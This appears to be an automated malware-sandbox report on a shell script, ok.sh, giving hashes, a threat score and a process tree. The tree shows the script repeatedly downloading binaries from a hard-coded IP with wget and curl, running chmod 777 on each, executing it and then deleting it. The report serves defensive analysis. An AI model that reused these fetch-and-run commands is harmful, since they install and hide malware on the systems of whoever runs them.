Analysis

  • max time kernel
    2s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/09/2026, 03:59

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260902-ej4ygafl6x
  • SHA256 7c8936eea92686924155c03b15400323ec6f9a3ff5e9d21deeb95bfb6e9d52f9
  • MD5 SHA1 SHA512 TLSH
Score
7/10

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:1482
    • /usr/bin/wget
      wget http://5.182.210.174/a374c0
      2⤵
        PID:1483
      • /usr/bin/curl
        curl -O http://5.182.210.174/a374c0
        2⤵
        • Writes file to tmp directory
        PID:1488
      • /bin/chmod
        chmod 777 a374c0
        2⤵
        • File and Directory Permissions Modification
        PID:1492
      • /tmp/a374c0
        ./a374c0 bc
        2⤵
          PID:1493
        • /bin/rm
          rm -rf a374c0
          2⤵
            PID:1495
          • /bin/rm
            rm -rf a374c0.1
            2⤵
              PID:1496
            • /usr/bin/wget
              wget http://5.182.210.174/fc1f84
              2⤵
                PID:1497
              • /usr/bin/curl
                curl -O http://5.182.210.174/fc1f84
                2⤵
                • Writes file to tmp directory
                PID:1498
              • /bin/chmod
                chmod 777 fc1f84
                2⤵
                • File and Directory Permissions Modification
                PID:1499
              • /tmp/fc1f84
                ./fc1f84 bc
                2⤵
                  PID:1500
                • /bin/rm
                  rm -rf fc1f84
                  2⤵
                    PID:1502
                  • /bin/rm
                    rm -rf fc1f84.1
                    2⤵
                      PID:1503
                    • /usr/bin/wget
                      wget http://5.182.210.174/b407be
                      2⤵
                        PID:1504
                      • /usr/bin/curl
                        curl -O http://5.182.210.174/b407be
                        2⤵
                        • Writes file to tmp directory
                        PID:1505
                      • /bin/chmod
                        chmod 777 b407be
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1506
                      • /tmp/b407be
                        ./b407be bc
                        2⤵
                          PID:1508
                        • /bin/rm
                          rm -rf b407be
                          2⤵
                            PID:1510
                          • /bin/rm
                            rm -rf b407be.1
                            2⤵
                              PID:1511
                            • /usr/bin/wget
                              wget http://5.182.210.174/ca1a79
                              2⤵
                                PID:1512
                              • /usr/bin/curl
                                curl -O http://5.182.210.174/ca1a79
                                2⤵
                                • Writes file to tmp directory
                                PID:1513
                              • /bin/chmod
                                chmod 777 ca1a79
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1514
                              • /tmp/ca1a79
                                ./ca1a79 bc
                                2⤵
                                  PID:1515
                                • /bin/rm
                                  rm -rf ca1a79
                                  2⤵
                                    PID:1517
                                  • /bin/rm
                                    rm -rf ca1a79.1
                                    2⤵
                                      PID:1518
                                    • /usr/bin/wget
                                      wget http://5.182.210.174/4d735c
                                      2⤵
                                        PID:1519
                                      • /usr/bin/curl
                                        curl -O http://5.182.210.174/4d735c
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1520
                                      • /bin/chmod
                                        chmod 777 4d735c
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1521
                                      • /tmp/4d735c
                                        ./4d735c bc
                                        2⤵
                                          PID:1522
                                        • /bin/rm
                                          rm -rf 4d735c
                                          2⤵
                                            PID:1524
                                          • /bin/rm
                                            rm -rf 4d735c.1
                                            2⤵
                                              PID:1525
                                            • /usr/bin/wget
                                              wget http://5.182.210.174/6c866d
                                              2⤵
                                                PID:1526
                                              • /usr/bin/curl
                                                curl -O http://5.182.210.174/6c866d
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1527
                                              • /bin/chmod
                                                chmod 777 6c866d
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1528
                                              • /tmp/6c866d
                                                ./6c866d bc
                                                2⤵
                                                  PID:1529
                                                • /bin/rm
                                                  rm -rf 6c866d
                                                  2⤵
                                                    PID:1531
                                                  • /bin/rm
                                                    rm -rf 6c866d.1
                                                    2⤵
                                                      PID:1532
                                                    • /usr/bin/wget
                                                      wget http://5.182.210.174/cbd468
                                                      2⤵
                                                        PID:1533
                                                      • /usr/bin/curl
                                                        curl -O http://5.182.210.174/cbd468
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1534
                                                      • /bin/chmod
                                                        chmod 777 cbd468
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:1535
                                                      • /tmp/cbd468
                                                        ./cbd468 bc
                                                        2⤵
                                                          PID:1536
                                                        • /bin/rm
                                                          rm -rf cbd468
                                                          2⤵
                                                            PID:1538
                                                          • /bin/rm
                                                            rm -rf cbd468.1
                                                            2⤵
                                                              PID:1539
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.174/a464d3
                                                              2⤵
                                                                PID:1540
                                                              • /usr/bin/curl
                                                                curl -O http://5.182.210.174/a464d3
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:1541
                                                              • /bin/chmod
                                                                chmod 777 a464d3
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:1542
                                                              • /tmp/a464d3
                                                                ./a464d3 bc
                                                                2⤵
                                                                  PID:1543
                                                                • /bin/rm
                                                                  rm -rf a464d3
                                                                  2⤵
                                                                    PID:1545
                                                                  • /bin/rm
                                                                    rm -rf a464d3.1
                                                                    2⤵
                                                                      PID:1546
                                                                    • /usr/bin/wget
                                                                      wget http://5.182.210.174/d7dea9
                                                                      2⤵
                                                                        PID:1547
                                                                      • /usr/bin/curl
                                                                        curl -O http://5.182.210.174/d7dea9
                                                                        2⤵
                                                                        • Writes file to tmp directory
                                                                        PID:1548
                                                                      • /bin/chmod
                                                                        chmod 777 d7dea9
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:1549
                                                                      • /tmp/d7dea9
                                                                        ./d7dea9 bc
                                                                        2⤵
                                                                          PID:1550
                                                                        • /bin/rm
                                                                          rm -rf d7dea9
                                                                          2⤵
                                                                            PID:1552
                                                                          • /bin/rm
                                                                            rm -rf d7dea9.1
                                                                            2⤵
                                                                              PID:1553
                                                                            • /usr/bin/wget
                                                                              wget http://5.182.210.174/190fcc
                                                                              2⤵
                                                                                PID:1554
                                                                              • /usr/bin/curl
                                                                                curl -O http://5.182.210.174/190fcc
                                                                                2⤵
                                                                                • Writes file to tmp directory
                                                                                PID:1555
                                                                              • /bin/chmod
                                                                                chmod 777 190fcc
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:1556
                                                                              • /tmp/190fcc
                                                                                ./190fcc bc
                                                                                2⤵
                                                                                  PID:1557
                                                                                • /bin/rm
                                                                                  rm -rf 190fcc
                                                                                  2⤵
                                                                                    PID:1559
                                                                                  • /bin/rm
                                                                                    rm -rf 190fcc.1
                                                                                    2⤵
                                                                                      PID:1560
                                                                                    • /usr/bin/wget
                                                                                      wget http://5.182.210.174/6d4af7
                                                                                      2⤵
                                                                                        PID:1561
                                                                                      • /usr/bin/curl
                                                                                        curl -O http://5.182.210.174/6d4af7
                                                                                        2⤵
                                                                                        • Writes file to tmp directory
                                                                                        PID:1562
                                                                                      • /bin/chmod
                                                                                        chmod 777 6d4af7
                                                                                        2⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:1563
                                                                                      • /tmp/6d4af7
                                                                                        ./6d4af7 bc
                                                                                        2⤵
                                                                                          PID:1564
                                                                                        • /bin/rm
                                                                                          rm -rf 6d4af7
                                                                                          2⤵
                                                                                            PID:1566
                                                                                          • /bin/rm
                                                                                            rm -rf 6d4af7.1
                                                                                            2⤵
                                                                                              PID:1567
                                                                                            • /usr/bin/wget
                                                                                              wget http://5.182.210.174/96a1bc
                                                                                              2⤵
                                                                                                PID:1568
                                                                                              • /usr/bin/curl
                                                                                                curl -O http://5.182.210.174/96a1bc
                                                                                                2⤵
                                                                                                • Writes file to tmp directory
                                                                                                PID:1569
                                                                                              • /bin/chmod
                                                                                                chmod 777 96a1bc
                                                                                                2⤵
                                                                                                • File and Directory Permissions Modification
                                                                                                PID:1570
                                                                                              • /tmp/96a1bc
                                                                                                ./96a1bc bc
                                                                                                2⤵
                                                                                                  PID:1571
                                                                                                • /bin/rm
                                                                                                  rm -rf 96a1bc
                                                                                                  2⤵
                                                                                                    PID:1573
                                                                                                  • /bin/rm
                                                                                                    rm -rf 96a1bc.1
                                                                                                    2⤵
                                                                                                      PID:1574

                                                                                                  Network

                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                        Replay Monitor

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                                                                                                        Downloads

                                                                                                        a374c0

                                                                                                        • Path /tmp/a374c0
                                                                                                        • Size 19B
                                                                                                        • SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
                                                                                                        • MD5 SHA1 SHA512